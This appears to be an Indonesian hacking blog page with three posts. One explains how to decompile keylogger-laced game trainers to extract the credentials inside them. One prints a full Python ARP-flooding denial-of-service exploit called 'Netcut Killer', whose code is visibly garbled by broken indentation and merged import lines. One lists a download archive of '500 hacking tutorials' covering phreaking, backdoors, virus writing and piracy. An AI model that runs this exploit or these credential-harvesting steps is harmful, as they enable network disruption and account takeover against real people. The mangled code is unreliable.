Tutor View Username dan Password Keylogger.exe with Reflector 7

Sorry om mod.
kalo salah tempat,
bingung mau post dimana
atau tidak diperkenankan,
silahkan di close or delete

Sedikit tutorial nih gan,
just view Username dan Password keylogger.exe aja ga ada yang lain.
dan yang di building with .NET

Sebelumnya bisa lihat Tips Menganalisa Trainer berkeylogger di http://n3.vc/t97553
yups,, mungkin udah lama dan udah pada tau kali yaa..
tapi buat yang belum tau aja dah,,
yang udah tau silahkan IGNORE aje ya gan,,
atau boleh juga dah TIMPA disini :p

langsung aje gan.
bahan-bahan yang kita gunakan

• Reflector

Mungkin udah pada tau kan
tools created keylogger.exe
(N3 Keylogger v1.2 / classical source) << kebanyakan yang ane temui dari tools ini
dan masih ada banyak lagi di luar sana

sebelumnya
kita cari dolo yang sheare trainer berkeylogger,,
setelah dapet sasaran,,
ikuti langkah-langkah di SS  gan..
tools yang ane gunakan Reflector 7.0
Link dibawah gan.

contoh di SS ane dapat dari Trainer Lost Saga

- Tutorial -
SS pertama


SS kedua


SS ketiga (hasil)



nah,,, keliatan deh siapa yang nakal... ^_^
sorry punya buat yang akun ga ane sensor.

untuk Softnya bisa di donlot dibawah ini

Download Reflector 7
Pass : wea
virusscan.jotti

greezt to
- dono
- Paranoia'R

semoga bermanfaat yee.. ^_^
sorry klo berantakan, masih copo kakaks

Credit  (tdee_gits)

Continue Reading

Netcut Killer

Judulnya Netcut 2.0 Denial of Service atau bisa dibilang netcut killer

kqkqkq jadi buat pemakai netcut hati-hati, bisa berbalik, senjata makan tuan ..

ini video nya

Click Here

ini explo nya.. it's a python..

#!/usr/bin/env python
#Exploit Title: Netcut Denial of Service Vulnerability
#Author: MaYaSeVeN
#Greetz: Inj3ct0r 1337day Exploit DataBase (1337day.com)
#Blog: http://mayaseven.blogspot.com
#PoC: Video  http://www.youtube.com/user/mayaseven
#Picture http://3.bp.blogspot.com/-GcwpOXx7ers/TwGVoyj8SmI/AAAAAAAAAxs/wSGL1tKGflc/s1600/a.png
#Version: Netcut 2
#Software Link: http://www.mediafire.com/?jiiyq2wcpp41266
#Tested on: Windows Xp, Windows 7
#Greetz :  ZeQ3uL, c1ph3r, x-c0d3, p3lo, Retool2, Gen0TypE, Windows98SE, Sumedt, Rocky Sharma
from scapy.all import sniff,Ether,ARP,RandIP,RandMAC,Padding,sendp,confimport commands,os,sys
#gw_mac = commands.getoutput("arp -i %s | grep %s" % (conf.iface,conf.iface)).split()[2]
gw_ip  = commands.getoutput("ip route list | grep default").split()[2]
        def protect(gw_ip,gw_mac):
        os.popen("arp -s %s %s" %(gw_ip,gw_mac))
        print "Protected himself"
        def detect():
                ans = sniff(filter='arp',timeout=7)
                target=[]
                for r in ans.res:
                        target.append(r.sprintf("%ARP.pdst% %ARP.hwsrc% %ARP.psrc%"))
                return target
def preattack(gw_ip):
        num = []
        count = 0
        target = 0
        temp = 0
        print "Detecting..."
        d = detect()
        for i in range(len(d)):
                if d[i].split()[0] == "255.255.255.255":
                        num.append(d.count(d[i]))
                        if d.count(d[i]) > count:
                                count = d.count(d[i])
                                target = i
                if d[i].split()[0] == gw_ip:
                        temp += 1         
        if len(d) < 7:
                print "[-] No one use Netcut or try again"
                exit()
        if len(num)*7 < temp:
                num[:] = []
                count = 0
                result = float(temp)/len(d)*100
                for j in range(len(d)):
                        if d[i].split()[0] == gw_ip:
                                num.append(d.count(d[j]))
                                if d.count(d[i]) > count:
                                        count = d.count(d[i])
                                        target = i
                        num.reverse()
                        result = float(temp)/len(d)*100
                print target
        else:
                num.reverse()
                result = float(num[0]+temp)/len(d)*100
        
        print "There is a possibility that " + str(result) + "%"
        if result>= 50:
                target_mac = d[target].split()[1]
                target_ip = d[target].split()[2]
                print "[+]Detected, Netcut using by IP %s MAC %s" %(target_ip,target_mac)
                attack(target_mac,target_ip,gw_ip)      
        else:
                print "[-] No one use Netcut or try again"
def attack(target_mac,target_ip,gw_ip):
        print "[+]Counter Attack !!!"
        e = Ether(dst="FF:FF:FF:FF:FF:FF")
        while 1:
                a = ARP(psrc=RandIP(),pdst=RandIP(),hwsrc=RandMAC(),hwdst=RandMAC(),op=1)
                p = e/a/Padding("\x00"*18)
                sendp(p,verbose=0)
                a1 = ARP(psrc=gw_ip,pdst=target_ip,hwsrc=RandMAC(),hwdst=target_mac,op=2)
                p1 = e/a1/Padding("\x00"*18)
                sendp(p1,verbose=0)
                if __name__ == '__main__':
        os.system("clear")
        print   "###################################################"
        print   " __  __        __       __     _____   __        __  _   _"
        print   "|  \/  |   \ \   / /   / ____|  \ \    / / | \ | |"
        print   "| \  / | __ \ \_/ /_ _| (___   __\ \  / /__|  \| |"
        print   "| |\/| |/ _\ \   / _\ |\___ \ / _ \ \/ / _ \ . \ |"
        print   "| |  | | (_| || | (_| |____) |  __/\  /  __/ |\  |"
        print   "|_|  |_|\__,_||_|\__,_|_____/ \___| \/ \___|_| \_|"
        print   " "
        print   "###################################################"
        print   ""
        print   "http://mayaseven.blogspot.com"
        print   ""
        if len(sys.argv) == 2 or len(sys.argv) == 3:
                if len(sys.argv) == 2:
                        conf.iface=sys.argv[1]
                        preattack(gw_ip)
                if len(sys.argv) == 3:
                        conf.iface=sys.argv[1]
                        gw_mac = sys.argv[2]
                        protect(gw_ip,gw_mac)
                        preattack(gw_ip)
        else:
                print '''Mode:  
1.)Attack only
Usage: NetcutKiller <Interface>
e.g. NetcutKiller.py wlan0
                
2.)Attack with protect himself
Usage: NetcutKiller <Interface> <MAC_Gateway>
e.g. NetcutKiller.py wlan0 00:FA:77:AA:BC:AF
'''

Use with your own risk..

Source: http://adfoc.us/x6800586

Continue Reading

500 Hacking Tutorial

Sebelumnya maaf kaga ngerti soalnya bahasanya English

Langsung aja gan..

Isi dalem .rar

Spoiler 500 Hacking Turtorials

DataVault, Irc Warez (Ty 4 Moving X).txt
-[ How to rip Dynamic Flash Template ]-.txt
10 reasons why PCs crash U must Know.txt
10 Security Enhancements.txt
16x Dvd+-rw Dl Dvd Writer Comparison Guide.txt
20 Great Google Secrets.txt
23 Ways To Speed WinXP, Not only Defrag.txt
250+ Tech books online.txt
2600 Hertz Single Tone Generator Schematic.txt
36 Graphics & Design Ebooks.txt
8 People Can Use The Same Msn Dial Up Account.txt
A Basic Guide to the Internet.txt
A Basic UNIX Overview.rtf
A BEGINNERS GUIDE TO Hacking Unix.txt
A Cracking Tutorial
A Guide to Internet Security- Becoming an Uebercracker.txt
A Guide to the Easiest Hacking there is.txt
A List of every TeleNet code that there is.txt
A List Of Government BBS Numbers.txt
A List Of Some OF The Most Useful UNIX Hacking Commands.htm
A Novice's Guide to Hacking 2004.txt
A Novice's Guide To Hacking.txt
A Short HACKER SPEAK Glossary.txt
A simple TCP spoofing attack.txt
A Small Guide to Hacking HOTMAIL.txt
A UNIX Hacking Tutorial.txt
A very small tut for RealMedia.txt
A Web Standards Checklist, How to make a proper website.txt
Accessing the bindery files directly.txt
Accessing The Entire Internet On Your 3 Phone, U8110, E616 etc..txt
Advanced Shellcoding Techniques.txt
All about ftp must read.txt
All About Movie Tags (what Is A Dvdrip, Cam Etc.).txt
ALL About Spyware.txt
All mIRC Commands.txt
Almost Everything You Ever Wanted To Know About Security (but.txt
An Architectural Overview of UNIX Network Security.htm
An Extensive Guide to Bell System Man Holes.txt
An Indepth Guide in Hacking UNIX and the concept of Basic Net.txt
An Introduction into TeleScan.txt
An Introduction to Denial of Service.txt
An Introduction to the Computer Underground.txt
An Introductory Guide To TeleNet Commands.txt
Anarchist Cookbook 2004
Anonymity complete GUIDE.rtf
Anonymity of Proxy, Anonymity Of Proxy learn it insideout.txt
Anonymity.txt
ANONYMOUS emails.txt
Anonymous FTP FAQ.htm
ANSIBombs II Tips And Techniques.txt
anti leech hacking tutorial.txt
Area Codes and Time Zones.txt
attacks on networks how to stop.htm
Auto End Tasks to Enable a Proper Shutdown, Win XP Tweak.txt
Automatic Windows Installation, No keypress required!.txt
B.A. regedit.txt
Backdoor.txt
Backdoors.txt
Backtracking EMAIL Messages.txt
Bandwidth Explained!.txt
Basic Networking.txt
BBS CRASHING TECHNIQUES.txt
Becoming A Phreaker - The Quick n' Easy Way.txt
Beep Code Manual.txt
Beep Codes Error Codes.txt
Bell Hell Volume #1.txt
Bell Hell Volume #2.txt
Best Keyboard Shortcuts.txt
Big Brother And Ndisuio.sys, A new Internet phenomenon.txt
Bin & Cue Simple Tut.txt
BIOS Update Procedure.txt
Bit Torrent Tutorials.txt
Block Adservers.txt
Boot Block Recovery For Free.txt
Boot Winxp Fast.txt
Border And Text Effects In Psp8, For use with PSP8.txt
Breaker B0X.txt
Broken Ie, How to fix it.txt
BRUTE- A brute force approach to hacking Unix passwords.txt
Bulk Editing Of .xxx to .zip or .mp3.txt
BulletProof FTP Server Tutorial.txt
Burn .bin file Without A .cue file.txt
Burn a BIN without a CUE using NERO.txt
Burning Bin & Cue Using Nero.txt
Bust Avoidance For Dipshits.txt
busybox.txt
Bypass Internet Censorship.txt
Calculating Offsets.txt
cannot use my password to get back into Windows XP.txt
Cant See Secure Sites.txt
Caught A Virus.txt
Cellular Listening with a TV .txt
Cellular Telephone Phreaking Phile Series VOL 1.txt
Change Music In The Malibu And The Pole Position, GTA Vice Modders.txt
Change Text on XP Start Button.rtf
Change Text on XP Start Button.txt
Change The Default Location For Installing Apps.txt
Change The Storage Location Of 'my Documents', a bit safer for when your PC crashes....txt
Change Your Ip In Less Then 1 Minute.txt
Changing Default Location For Installing Apps.txt
Check For Dos, Check to see if you are infected..txt
Choosing A Good Domain Name, ya..good name is important!.txt
Choosing An Internet Merchant Account, nice info on Internet Merchant Account...txt
Clear Unwanted Items From Add And Remove.txt
Closing Open Holes, System Security How to close open holes.txt
Closing the Net.txt
CMD Prompt here, add to folder context menu windows xp.txt
COMMON FTP ERROR CODES.txt
Compression and Cracks for Dummies.txt
Computer Acronyms.txt
Computer Bulliten Boards and the Law.txt
Computer Chrime - Current Practices, Problems and Proposed So.txt
Computer eMail and Privacy.txt
Computer Hackers News Articles.txt
Computer Matinence.txt
Computer Rights vs First and Forth Amentment Right.txt
Computer Security.txt
Computer Security_2.txt
Computer Viruii.txt
Computerized Governmental Database Systems Containing Persona.txt
Configuring ZoneAlarm Pro Security Settings, A ZoneAlarm Pro Tutorial.txt
connect A Psx Pad To Pc, Warning soldering is involved...txt
Convert Stubborn Webpage To pdf.txt
Convert To Basic And Dynamic Disks In Windows Xp.txt
Converting Movies To Psp Format.txt
Converting to NTFS.txt
COPS and Robbers-Unix System Security.txt
COPY X BOX GAMES!.txt
Copyright Guides for Photographers.txt
Cracking Bios, use the followin' code.txt
Cracking Zip Password Files.txt
Crap Software Config Settings, How to set-up the firewall.txt
Crash Course in X Windows Security.txt
Create A Huge File.txt
Create A Personal Screen Saver In Win Xp!.txt
Create An Ftp Server On Your Pc With Serv-u.txt
Create Bootable Win XP SP1 CD(nero).txt
Create Bootable XP SP integrated CD.txt
Create One-click Shutdown And Reboot Shortcuts.txt
Creating a Board aka Forum on your own PC !.rtf
Creating Universal Ghost Usb Boot Disk And Cd.txt
Crime and Puzzlement.txt
Cultural Formations in Text-Based Virtual Realties.txt
Cyberspace and the Legal Matrix- Laws or Confusion.txt
Dark Angel's Phunky Virus Writing Guide .txt
Data Capacity of CDs [Tutorial].txt
Debug, Learn how [JaMu] windows.txt
Defamation Liability of Computerized Bulliten Board Operators.txt
Delete An undeletable File.txt
Delete Files From The Recent File List In Windows.txt
Dept of Treasury Letter.txt
Digital Camera Guide.txt
Digital Faq -learn Everything About Digital, Capture, Edit and Burning and more.txt
Digital Photo Id Cards, Greate Info.txt
Direct Link To Any Page You Want To In Hotmail.txt
Directx Explained.txt
Disable Compression On Xp, NTFS partition, Disk Cleanup.txt
Disable The Send Error Report, to Microsoft.txt
Disable Windows Logo Key.txt
Discover New Music You'll Probably Love.txt
Do You Want To Learn Maya 6, look, some tutorials.txt
Doom 3 Speed Up, Guaranteed 40% better.txt
Doom3 Simple Tweeks, how to run doom with tweeks.txt
Dos User - No Boot Dos Disk, No Edit.com,How to create Imp Files.txt
Download Free Music legally,, legally.txt
Download from a paypal site without paying a penny!.txt
Download From Ftpz, Using Ftp Search Sitez.txt
Download Mp3's Without Using Filesharing.txt
Download Music And Video With ,edia Player9, quick and easy!.txt
Download Timeframes.txt
Downloading Files, Using Archives And Images.txt
Downloading Windows Media Streams.txt
Drake's Phreaking Tutorial.txt
Dreamweaver Tut That Teaches U, to search a database with phpmysql.txt
Driverguide.com.txt
Dual Boot After The Fact.txt
Dvd Copying-ripping Definitions.txt
DVD Regions Information.txt
Dvd-9 to Dvd+r Dl, Double Layer To Double Layer, 1-1 copies.txt
Easily Disconnect-reconnect From Broadband.txt

Easily Find Serial Numbers On Google.., easy to do and works like a charm..txt
Ebay Hackcracktip.txt
Electronic Bulliten Boards and 'Public Goods' Explainations o.txt
Electropolos - Communication and Comunity on IRC.txt
Eliminate Ie's Autocomplete Reminder.txt
Email Forge, sends email from anyone.txt
Enable Folder and Icon Refresh, Win XP Tweak.txt
Erasing_Your_Presence_From_System_Logs.txt
Ethload User's Guide.txt
Evolution Of Computer Viruses History Of Viruses.txt
Excellent tricks and techniques of Google Hacks.txt
Exploseek, a simple tool to find music on the net.txt
Find Stuff.txt
Finding Missing Files From A Release.txt
Firefox Speed Tweaks.txt
Firefox Tweaks.txt
Firewall Protection how to.rtf
FlashFXP FAQ.txt
Flashget Broadband Tweak.txt
FLASHGET INTEGRATION IN OPERA,MOZILLA,NETSCAPE.txt
FlashGet v1.4 - More Download Simultaneously.txt
Flashing A Video Card Bios [advanced Guide], Step-by-Step Guide for Novice and Expert.txt
Formatting An Hdd, when fdisk won't.txt
Formulating A Company Policy on Access to and Use and Disclos.txt
Free Access To Websites Without Registering.txt
FREE Hosting For WAREZ.txt
FREE Hosting List php, mysql and more.txt
Free Speech in Cyberspace.txt
Free World Dialup.txt
Free X-box Live !.txt
Freebsd Install Guide.txt
Gender Issues in Online Communications.txt
General Keyboard Shortcuts, General Keyboard Shortcuts.txt
Get In Windows 2000 As Administrator.txt
Get the Most Out of Your DVD Recorder.txt
Get The Music You Want To Hear.txt
Get unlimited bandwidth from your host for free.txt
Getting A 1gb Yahoo China Account.txt
Getting Counter-strike Source To Work.txt
getting movies, mp3,games using google.txt
Getting older programs to run on Windows XP.txt
Getting started with Linux for nOObs!.txt
Go to Windows updates anonymously.txt
Google [JaMu] Search.txt
Google secrets.txt
Google Tips & Tricks, (utilizing search engine).txt
Government Computer Security Techniques.txt
Graffiti On Walls 4 Adobe Photoshop Cs 8.0.txt
Guide For Getting Free Stuff.txt
Guide to Hacking with sub7.doc
Guide to IIS Exploitation.txt
Guide to Slipstreaming Service Pack 2.txt
HACKDICT.TXT
Hacker Test.txt
Hackers A-Z.TXT
Hackers Who Break into Computer Systems.txt
hacking and phreaking.doc
Hacking Bank Of America's Home Banking System.txt
Hacking Compuserve Infomation Service.txt
Hacking Faq.txt
Hacking for Dummies Volume 2.doc
Hacking For Newbies.doc
Hacking GTE Telemail.txt
hacking in telnet http://ftp.rtf
Hacking IRC - The Definitive Guide.txt
hacking on Telnet explained.doc
hacking on XP part 1.doc
hacking on XP part 2.doc
hacking on XP part 3.doc
hacking on XP part 4.doc
hacking on XP part 5.doc
hacking password protected site.doc
Hacking Password Protected Website's.doc
hacking passwords.doc
Hacking PC-Pursuit Codes.txt
Hacking Techniques.txt
Hacking TRW.txt
Hacking TYMNET.txt
Hacking Unix System V's.txt
Hacking VoiceMail Systems.txt
Hacking Wal-Mart Computers.txt
Hacking Webpages.txt
Hard drive Gone Bad.txt
Hardware Firewall.txt
Have Notepad In Send To.txt
have satallite tv for almost free IF not free!!!.txt
Hex, How to turn binary or decimal to hex.txt
Hide Drives and Partitions.txt
How 2 Find EVERYTHING uploaded on **********.txt
How BT phone cards works.txt
How do I overburn a CD with Nero.txt
How do I remove an extra operating system from by.txt
How do I Test My VirusScan Installation.txt
How Do U See Hidden Files, Using DOS...txt
How Download MP3s from Fanscape.com or other Streaming Audio-Video.txt
How Linux boots.txt
How Long Has Your XP System Been Running.txt
How Phone Phreaks are Caught.txt
How the Traditional Media Clasifications Fail to Protect in t.txt
How To Access Your Folders From Your Taskbar.txt
How To Add A Url Address Bar To The Taskbar.txt
How To Add An Option To Print, the Contents of a Folder!.txt
How To Add Your Own Windows Tips.txt
How to Back Up the Registry.txt
How To Backup Ps2 Games.txt
How to Bill All Of your Fone Calls To Some Poor, Unsuspecting.txt
HOW TO BLOCK PEOPLE ON WINMX WHO SHARE NOTHING.txt
How To Block Websties Without Software, block websites.txt
How To Boot Xp Faster (updated).txt
How to build a black box.txt
how to burn quicker in windows xp.txt
How to Bypass BIOS Passwords.txt
How To Bypass Web Filters, tutorial.txt
HOW TO CAPTURE STREAMING MEDIA.txt
How To Change A Cmos Battery.txt
How to change the serial number used in Windows XP, Valid for XP Corporate.txt
How To Change Thumbnail Size And Quality.txt
How to clear Bios info 2.txt
How to clear Bios info.txt
How To Convert File System, fat - fat32 to ntfs.txt
How To Copy A Dvd Which Will Play On A X Box.txt
How to copy songs from your iPod to your PC.txt
How to crash AOL.txt
How To Customise Your start Button.txt
How To Delete Those Persistent Nasty Files.txt
How to dial out of a UNIX System.txt
How To Directly Go To Inbox, Write Msg, w Hotmail, no need for hotmail today - http users.txt
How To Disable Picture And Fax Viewer.txt
How to do a high Quality DivX rip.txt
How To Download Bittorrent Files.txt
How To Download Directly From Crackdb.com.txt
How To Download Movies, From IRC.txt
How to Download-Upload Files from email.txt
how to edit right click menu.rtf
how to execute chm files in linux.txt
How to Extend the life of the yousendit download links.txt
How to find a remote IP.txt
How To Find Ftp's The Easy Way'.txt
How to find MP3's real quickly.txt
How to find Security Holes.txt
How To Find Serial Numbers On Google.txt
How to fix corrupted files in XP.txt
How to fix Windows Installer problem.txt
How To Get A Free I-pod Or Flat Screen Tv, check it out.txt
How to get a Shell in 24 hours.txt
HOW TO GET ANY WINDOWS PASSWORD.txt
How to Get someones ISP password, Get free internet.txt
How To Get Top Ranking, Search Engines.txt
How to Hack UNIX System V.txt
How To Hack Windows Xp Admin Passwords.txt
How to hack-change your Windows XP Boot Screen.txt
how To Hide Yourself From Network Users!, And give access to only specific users!.txt
How To Increase Download Speeds By 100-200 Kbsec.txt
How to Install and run Windows CE on your USB Stick.txt
How to learn to hack in easy steps.doc
How to login to a C.B.I. System.txt
How To Make 5cds, 10cds Or 2dvds From Official Dow, These are same as Mandrake PowerPack+.txt
How to make a Free Phone Call.txt
How To Make A Kvcd.txt
how to make a new web site.txt
How To Make A Transparent Background, .fla .swf.txt
how to make a VCD from a DivX.txt
How To Make An Animted Logo.txt
How To Make Free Phone Calls.txt
How to make key generators.txt
How To Make Perfect Copies Of Maxis The Sims Discs, CloneCD Style!.txt
How To Make XP Go Faster.txt
How To make your own Radio Station 2.txt
How To Make Your Own Radio Station.txt
How To Make Your Own Radiostation.txt
HOW TO MANUAL - THE END OF DELETERS.txt
How to modify exe files.txt
How To Move Xp Harddrive To New Motherboard.txt
How To optimize DSL-CABLE connection speed.txt
How To Play Movies (divx Etc) With Subs.txt
How to Put an End to Unwanted or Harassing Phone Calls.HAR
How to recover MOST of scratched CD data discs.txt
How to Remove DRM Protection for Video Files.txt
How To Remove Ms Java Vm And Install Sun Java.txt
How To Remove Signin Details Of Msn Passport.txt
How To Remove The Default Admin$ Shares.txt
How to remove the Links folder in IE Favorites.txt
How to Remove WinXP Splash and See Operations.txt
How To Rename Extensions With Ease, with a Renamer.bat file!.txt
How to Rename File Extensions.txt
How To Rename Multiple Files In Winxp.txt
How To Restrict Login Hours Allowed.txt
How to safeguard your files when computer crashes.txt
How to save Windows xp updates.txt
how to search google for ********** links.txt
How To See Hidden Files, Using Dos.txt
How to send ICQ Bombs.txt
How To Set search For All Files In Winxp.txt
How to set up a http server running from you computer.txt
How To Set Up A Proxy In Flashget, As Requested.txt
How to set up a server with Apache , PHP , MySQL , Perl , phpMyAdmin.txt
How To Set Up Direct Connect.txt
HOW TO SET UP FTP SERVER.txt
How To Set Up Proxies In Your Browser.txt
How To Set Zone Alarm Settings!, Fix for ZA ports.txt
How To Setup Your Own Dns (Domain Name Server).txt
How To Speed Up A Slow Computer.txt
How To Speed Up Http Requests On Internet Explorer, as above.txt
How To Stop Spam.txt
How to swear in all languages.txt
How To Unload Cached Dll Files To Free Memory.txt
How to Use and How to Chain Multiple Proxies!.txt
How To Use File Compression In Windows Xp.txt
How To Use Google To Download Mp3's, and applications.....txt
How To Use Newsgroups.txt
How to use the Web to look up information on hacking.doc
How To Use You Gmail With Msn Messenger.txt
How-to Get Videos And Dvds Onto Your Sony PlayStation Portable (PSP) for free.txt
HOWTO Change Windows XP Home to Windows XP Pro.txt
Important Faqs For Sp2.txt
Improve Doom 3's Performances!!, simple but efficient trick for every1.txt
Improve your dialup modem preformance.txt
Increase XP Folder Settings.txt
Information of Hacking AngelFire Websites.txt
Insert Your Serial For Office 2k, auto install office.txt
Install A New Hard-disk.txt
Install Xp From Dos.txt
Installing Apache on Windows.txt
Installing Gentoo Linux, Amazing step by step tutoria.txt
Installing IIS On Windows Xp Pro.txt
Installing Slackware Linux.txt
Instructions For Removal Of Advertising In Msn Messenger.txt
Introduction to Denail of Service.txt
Ip Address Structure, Expilinatin OF IP Address {A short way}.txt
IP addressing, and gaining IP's.txt
IP Addressing.txt
IP how to.rtf
Irc How To Downlaod From, How to downlaod from IRC.txt
Irc Servers On nix, For people who want to start own IRC net.txt
ISSN Numbers- An Introduction.txt
Junk Mail- How Did They All Get My Address.txt
Keep Files Private.txt
Keep Folders Hidden.txt
Keyboard Shortcuts Result in Excel 2000 - Movement.txt
Keyboard Shortcuts, Microsoft Word.txt
Keyboard Shortcuts, must read.txt
Kill Microsoft Instant Messenger.txt
Lamination Tips, Its a Fast TUT......txt
Leet Way To Get Your Ip In Windows Xp.txt
LENROS~1.TXT
LENROS~2.TXT
Linking Your Xbox To Your Computer.txt
Linux Howto's.txt
List Of Sites Not To Go To.txt
Little help for anonymous mailer.txt
Lots Of Windows Xp Tips, Take A Look !.txt
Lyrics With Google.txt
Make A Autorun File For Ur Cd.txt
Make A Batch File To Clean UR PC!!, All In One!!.txt
Make A Roughly 16 Hour Video Dvd.txt
Make Acrobat Reader 6 load faster.txt
Make Dvd Iso From Suse 9.2 5 Cds Iso, Linux mode and Windows mode ISO creation.txt
Make Mp3 Files Smaller Without Losing Quality.txt
Make Your Own Ringtones For Mobile Phone, also logos, wallpaper, etc.txt
Make Your Pc Faster, Guaranteed.txt
MakeXPgoFaster.txt
making a .cue file, in notepad.txt
Making A .txt Executable Server.txt
Making Bootable Floppy Disk to Boot into Windows.txt
Making Cd Version Of Doom3 Into Dvd Version.txt
Making Web Page Fonts Consistent and Uniform.txt
Manage Saved Ie Passwords.txt
Mastering The Windows XP Registry.txt
Maximize Dial-up Modem Settings.txt
MEMETICS.TXT
Microsoft's Really Hidden Files, Reveled Hidden files.txt
MINDVOX.TXT
mIRC Not Just Another Chat Client, Download Anything You Want Almost.txt
mIRCcommands.txt
Misc Linux Tips & Tricks.txt
Missing Administrator Account.txt
Mobile Secret Codes.txt
Modify .exe Files And [JaMu] A Program.txt
More Xp Tips and tricks make your computer more faster.txt
MORRIS~1.TXT
Moving and Removing the Start Button.txt
Msn Messenger & Gmail.txt
My Flash Bookmarks, long list of tutorials.txt
Myth about WPA ( How it is done ), Windows Product Activation Technique.txt
NEIDOR~1.TXT
Nero How To Verify The Validity Of The Sn U Use.txt
NetBios explained.doc
New Pc Or New Motherboard.txt
New Way To Relive Some Zinio File.txt
news groups the how to do.txt
NFS Tracing.txt
Nice list of windows shortcuts.txt
Nightline- FBI,Privacy,and Proposed Wire-Tapping Legislation.txt
No Text Icons.txt
Ntfs Cluster Size, better harddrive performance.txt
NY_2'S Guide to Obtaining An IP Address. .doc
Official Unattended Xp Cd Guide Xp Sp2 @ Msfn.org.txt
Open Windows Explorer To A Different Default Direc.txt
Optimize Broadband & Dsl Connections.txt
Optimize Emule Connection.txt
Organizational Analysis in Computer Science.txt
Outpost Rules, Outpost rules for system & app.txt
Outsmarting System File Protection.txt
Overclocking_Tutorial.txt
Packet Attacks - Version 1.1, { Packet_Attack_Exlained}.txt
Part 0 Dc++.txt
Part 1 Bittorrents.txt
Part 2 Irc (mirc).txt
Part 3 http://Ftp.txt
Partitioning Your Harddisk With Fdisk.txt
Pc File Extention Listing.txt
Pc Maintenance Guide.txt
Peer2mail Tutorial.txt
Performance Increase Through My Computer.txt
PGP Startup Guide.htm
Phone Systems Tutorial by The Jolly Roger.txt
Phreakers Handbook.txt
Play Games On PS2 Without ModChip.txt
Play On A Bnet Emulator, and f off cd key check =).txt
Port Numbers.txt
Presumed Guilty.txt
Problem With Internet Navigation, Clean Host File.txt
Proxy how to.rtf
Quick Fix For Spyware, Try This Before Doing Surgery on Your OS.txt
Quick Msc.txt
Quick Phone Modifications.txt
Quick Shutdown for XP, How to create a shutdown shortcut..txt
Quickly Start The Shared Folder Wizard.txt
Raising Hell with Unix.txt
********** hack!!!!! Free premium acount for all.txt
********** Hacked, unlimited upload, no countdown.txt
********** Timelimit.txt
Read This! Av Compare!.txt
Recover A Corrupted System File.txt
Recover a Quick erased CD RW.txt
Reformat&Reinstall.txt
Regedit.exe & Regedt32.exe, Whats the difference.txt
Registry Disassembled a basic tutorial.txt
Reinstall Internet Explorer 6.txt
Release Codes, Read, and Learn....txt
Remarks of the President and Vice President to Silicon Valley.txt
Remote Desktop Through Company Firewall.txt
Remote Shutdown.txt
Remove Linux From Your Pc Safely, ...and restoring your MBR.txt
Remove Msn Messenger From Xp, several ways...txt
Removing Banners From Free Webhosts.txt
Removing Norton Anti-virus 2004, How to remove the Registry Enteries.txt
Rename 'recycle Bin' To Whatever You Want.txt
Reregister All .dll Files Within Registry.txt
Reset your lost Bios Password.txt
Restore JPG,JPEG,JPE Default File associations, Win XP Tweak.txt
REVERSE CODING.txt
RIGGSB~1.TXT
RIGGS_~1.TXT
RIGHTS~1.TXT
RIVERA.TXT
Routing Basics.pdf
Run Aol Without Using Aol Browser & Save Resources, connect permanently and use any browser.txt
Running A Board forum From Your Own Pc.txt
Running Vanishing Console Programs With A Click!, Ever had a console program that vanis....txt
Safely Editing the Registry....txt
Save Your Desktop Icon Settings.txt
Saving and loading Photoshop actions.txt
Scheduled Tasks - Defrag, how to set up scheduled defrags.txt
ScreenLock Professional v2.0.41.txt
SEARCH eBOOK in FTP SEARCH ENGINE.txt
Search For Ebook Server With Google.com.txt
Search like a real warez d00dz, for warez of course!.txt
Searching For Something To Download, This may help.txt
Secret Backdoor To Many Websites.txt
Secrets Of Lock Picking.txt
Securing WinXP Pro (with what win-xp has to offer.txt
Securing your WINDOWS XP computer.txt
Security holes.txt
Seisure Warrent Documents for Ripco BBS.txt
Set Google as your Default Search in IE.txt
Set Win Explorer to open the folder you want!, Little trick.txt
sick of inserting winxp cd every time your pc asks, Change Default Location of i386 Folder.txt
sidebar fix.txt
Simple Tweaks For Peak Pc Graphics Performance.txt
Single Click Shutdown.txt
Single-click To Open An Item..., IF the Folder Options is grayed out.txt
Site Security Handbook.txt
SJ-DEC~1.TXT
SJ-RESP.TXT
Slow Loggon Time, one fix for problem.txt
Slow Opening Of File Dialogs.txt
SMTP-Simple Mail Transfer Protocol.txt
Some Cool Site For Tutorials.txt
Some Google Tricks, again.txt
Some More Tips To Improve Your Winxp.txt
Sp2 For Xp Slipstream, Integrate SP2 into your XP CD.txt
Sp2 Tweaks.txt
Speed Up Internet.txt
Speed up menu display.txt
Speed up Mozilla FireFox.txt
Speed Up Your Bandwidth By 20% !, Windows uses 20% of your bandwidth.txt
Speeding up menus in XP.txt
Speeding up your internet connection under Linux and Windows.html
Spoofing emails, via telenet.txt
Standard ASCII Character Set.txt
Steps to Clean Install XP.txt
Stop A Restart Process In 3steps.txt
Stop Annoying Pop-ups Without Pop-up Blockersoutli.txt
Summary of FBI Computer Systems.txt
SUNDEVIL.TXT
SUPREM~1.TXT
System Changes To Foil Hackers And Browser Hijacke.txt
System File Checker For Windows Xp.txt
TCP packet fragment attacks against firewalls and filters.txt
Tcpip A Mammoth Description, Short and easy-Everything U want to know.txt
Telenet-The Secret Exposed.txt
telnet trick port 25.doc
Testing Wattage Consumption Of Your Computer, Measuring your computer's wattage.txt
The ABC's of Payphones part 1.txt
The ABC's of Payphones part 2.txt
The ABC's of Payphones part 3.txt
The ABC's of Payphones part 4.txt
The Antivirus Defense-in-Depth Guide.txt
The Basics of Hacking- Introduction.txt
The Baudy World of the Byte Bandit-A Postmodernist Interpreta.txt
ThE Beige BoX .txt
The Constitution in Cyberspace.txt
The Cracking Manual.txt
The difference between DVD-R, DVD+R, DVD+RW and DVD-RW.txt
The Electronic Communication Privacy Act of 1986 - A Laymans .txt
The Greatest Hacker of all time.ASC
The Hacker's League.txt
The History of British Phreaking.htm
The Inner Circle Book's Hacking Techniques.txt
The Lamahs-Guide to Pirating Software on the Internet.txt
The M.M.C. Guide to Hacking, Phreaking, Carding.txt
The Modern Phreakers Guide To Beige Boxing.txt
The Modern Phreakers Guide To Payphones.txt
The Moterola Bible.txt
The Myth of the 2600Hz Detector .txt
The National Information Infrastructure-Agenda for Action.txt
The Newbies Handbook- ' How to beging in the World of Hacking.txt
The Newbies-User's Guide to Hacking.txt
The Official Phreaker's Manual.txt
The Phreakers Handbook-1.txt
The Port Guide, Port number and info.txt
The Pre-History of Cyberspace.txt
The Price of Copyright Violation.txt
The REAL way to hack RemoteAccess.txt
The Secret Service, UUCP,and The Legion of Doom.txt
The Telephone Works.txt
The Ultimate Guide To Installing Windows Xp Sp2.txt
The Ultimate Phreaking Guide .txt
